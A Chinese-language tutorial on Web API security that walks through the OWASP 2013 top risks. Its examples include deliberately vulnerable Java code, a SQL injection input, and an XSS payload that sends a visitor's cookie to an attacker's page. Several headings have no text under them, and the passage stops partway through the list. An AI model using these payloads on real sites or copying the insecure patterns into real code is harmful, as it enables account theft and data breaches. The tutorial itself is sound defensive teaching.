Web API 入门指南

时间:2022-01-17 06:20:56

Web API入门指南有些朋友回复问了些安全方面的问题,安全方面可以写的东西实在太多了,这里尽量围绕着Web API的安全性来展开,介绍一些安全的基本概念,常见安全隐患、相关的防御技巧以及Web API提供的安全机制。

目录

Web API 安全概览

先引用下wikipedia信息安全的定义:即保护信息免受未经授权的进入、使用、披露、破坏、修改、检视、记录及销毁,从而保证数据的机密性(Confidentiality)完整性(Integrity)可靠性(Availability)

机密性和完整性都很好理解,可靠性作为信息安全的一个重要原则这里特别解释一下,即访问信息的时候保证可以访问的到,有一种攻击方式叫DOS/DDOS,即拒绝服务攻击,专门破坏网站的可用性。

Information security, sometimes shortened to InfoSec, is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction.

围绕Web API安全,在不同的层次上有不同的防护措施。例如,

下图是一个概览。

安全隐患

安全隐患种类繁多,这里简单介绍下OWASP 2013年票选前十位安全隐患。

1. 注入(Injection)

注入是指输入中包含恶意代码(在解释器中会被作为语句执行而非纯文本),,直接被传递给给解释器并执行,那么攻击者就可以窃取、修改或者破坏数据。

注入有很多种类型,最常见的如SQL注入、LDAP注入、OS命令注入等。

示例

以下代码是一个典型的SQL注入隐患

String query = "SELECT * FROM accounts WHERE customerName=‘" + request.getParameter("name") + "‘";

如果输入中customerName后面加上一个‘ or ‘1‘=‘1,可以想象所有的accounts表数据都回被返回。

防御

通过封装API以参数形式来调用解释器,避免将整个解释器功能暴露给客户端。

如果没有封装好的安全API,可以考虑将特殊字符转义之后再传递给解释器。

更加激进一点的话可以提供一个输入的白名单,只有名单上的数据才可以进入解释器。

2. 无效认证和Session管理方式(Broken Authentication and Session Management)

开发人员经常自己编写认证或session管理模块,但是这种模块需要考虑的因素众多,很难正确完整的实现。所以经常会在登入登出、密码管理、超时设置、安全问题、帐户更新等方面存在安全隐患,给攻击者以可乘之机。

示例

防御

3. 跨站脚本(Cross-Site Scripting (XSS))

允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页,那么恶意用户就可以在网页中注入脚本来窃取用户数据。

示例

例如网站通过以下代码直接构造网页输出,

(String) page += "<input name=‘creditcard‘ type=‘TEXT‘ value=‘" + request.getParameter("CC") + "‘>";

攻击者输入以下数据,

‘><script>document.location= ‘ ?foo=‘+document.cookie</script>‘.

当该数据被输出到页面的时候,每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。

防御

4. 直接对象引用(Insecure Direct Object References)

这个问题在动态网页中也相当普遍,指的是页面存在对数据对象的键/名字的直接引用,而网站程序没有验证用户是否有访问目标对象的权限。

示例

例如一个网站通过以下代码返回客户信息,

String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( );

攻击者可以通过修改querystring来查询任何人的信息

?acct=notmyacct

防御

使用用户级别Session级别间接对象引用,比如用户界面上下拉框中选项对应简单数字而不是对象的数据库键值,界面数字与对象键值之间的对应关系在用户级别或session级别维护。

控制访问,在真正的操作之前判断用户是否有权限执行该操作或访问目标数据。

5. 错误的安全配置(Security Misconfiguration)

安全配置可能在各个级别(platform/web server/application server/database/framework/custom code)出错,开发人员需要同系统管理合作来确保合理配置。

示例

配置问题的范例比较多样,常见的几种如下,

服务器使用过期或存在安全漏洞的软件

安装了没有必要的功能

系统默认帐户没有禁用或使用默认密码

出错信息中包含错误细节(调用栈信息)

使用的开发框架中的安全设置没有正确配置

防御

6. 暴露敏感数据(Sensitive Data Exposure)

这种漏洞就是导致知名网站用户信息泄露的关键,通过明文存储敏感数据。

示例

防御

7. 功能级权限控制缺失(Missing Function Level Access Control)

功能级别权限控制一般是写在代码中或者通过程序的配置文件来完成,但是可惜的是开发者经常忘记添加一些功能的权限控制代码。

示例